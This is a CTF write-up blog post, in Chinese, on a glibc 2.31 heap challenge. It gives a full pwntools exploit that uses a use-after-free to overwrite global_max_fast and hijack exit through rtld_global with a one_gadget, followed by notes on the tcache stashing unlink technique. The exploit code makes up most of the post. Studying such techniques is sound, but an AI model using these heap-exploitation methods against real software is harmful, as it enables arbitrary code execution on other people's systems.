eeeeeeeeeeeeeeeea

愿我们永远热泪盈眶!

0%

global_max_fast初探

global_max_fast

这题是2.31版本的libc,有UAF,只能calloc并且大小控制为0x7f-0x1ff。这禁用了很多东西,需要,然后要修改global_max_fast处的大小为一个很大的数值(一般是堆地址)。然后修改chunk的fd指针,指向rtld_global,然后我们就可以打exit_hook了,因为exit_hook在rtld_global中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
p = process("./pwn2")
elf = ELF("./pwn2")
libc = elf.libc

menu = ">> "
def g():
gdb.attach(p)
input()

def add(size):
p.sendlineafter(menu,"1")
p.sendlineafter("size: ",str(size))

def free(index):
p.sendlineafter(menu,"2")
p.sendlineafter("index: ",str(index))

def edit(index,content):
p.sendlineafter(menu,"3")
p.sendlineafter("index: ",str(index))
p.sendafter("content: ",content)

def show(index):
p.sendlineafter(menu,"4")
p.sendlineafter("index: ",str(index))
#leak
for i in range(6): #0-5
add(0x80)
for i in range(6):
free(i)

for i in range(7): #6-12
add(0x1f0)
for i in range(7):
free(6+i)

for i in range(7): #13-19
add(0xe0)
for i in range(7):
free(13+i)

add(0x1f0) #20
add(0x80) #21
add(0x1f0) #22
add(0x80) #23
free(20)
free(22)
show(20)
p.recvuntil("content: ")
libc_base = u64(p.recvuntil("\x7f")[-6:].ljust(8,"\x00")) - 0x1ebbe0
success("libc_base:"+hex(libc_base))
show(22)
p.recvuntil("content: ")
heap_base = u64(p.recv(6).ljust(8,"\x00")) - 0x1a80
success("heap_base:"+hex(heap_base))
global_max_fast = libc_base + 0x1eeb80

add(0x160) #24
add(0x160) #25
add(0x1f0) #26
add(0x1f0) #27
free(26)
add(0x118) #28
add(0x1f0) #29 放入smallbin
edit(22,"a"*0x160+p64(0)+p64(0x91)+p64(heap_base+0x1bf0)+p64(global_max_fast-0x10+0x8-4-8))

for i in range(8):
add(0xf8) #30-37

for i in range(7):
free(30+i)
add(0x80) #38
free(37)
edit(37,p64(libc_base+0x222df7-8)) #这里是在ld中的地址
add(0xf8) #39
add(0xf8) #40
edit(40,"a"*(0xe1-8)+p64(0x201)) #伪造的size
free(29)
edit(29,p64(libc_base+0x222ed0)) #在ld中的0x201的size申请回来
add(0x1f8) #41
add(0x1f8) #42
edit(42,"d"*0x88+p64(libc_base+0xe6c7e)) #将_dl_rtld_lock_recursive覆盖为onegadget

p.recvuntil(">> ")
p.sendline("5")

p.interactive()

顺便总结一下tcache stashing unlink,因为前几天面试V&N被问到了,但是学的时间比较久远就给忘记了。

起初的tcache stashing unlink是可以向目标地址写入一个非常大的数,先把两个chunk放入smallbin,先释放的叫smallbin1,tcache放入同大小的6个chunk,修改smallbin2的bk为目标地址-0x10,fd保持不变,然后calloc申请,这样smallbin1被用户申请回去,smallbin2放入tcache,smallbin2的bk指针指向main_arena+n。

把两个chunk放入smallbin,先释放的叫smallbin1,然后tcache中放入5个,同样将smallbin2的bk修改为目标地址-0x10,fd不变,然后calloc申请,smallbin1被用户申请回去,smallbin2进入tcache,此时tcache中chunk数量为6,要保证能够继续stash下去,需要在目标地址-0x10->fd指向一处可写的地址,这样目标地址就被链入tcache,我们可以将目标地址申请出来。

同上,tcache中放入5个chunk,将smallbin2的bk改为目标地址1-0x10,目标地址1+8处写入目标地址2-0x10,这样能让目标地址1进入tcache,目标地址2写入大的数据,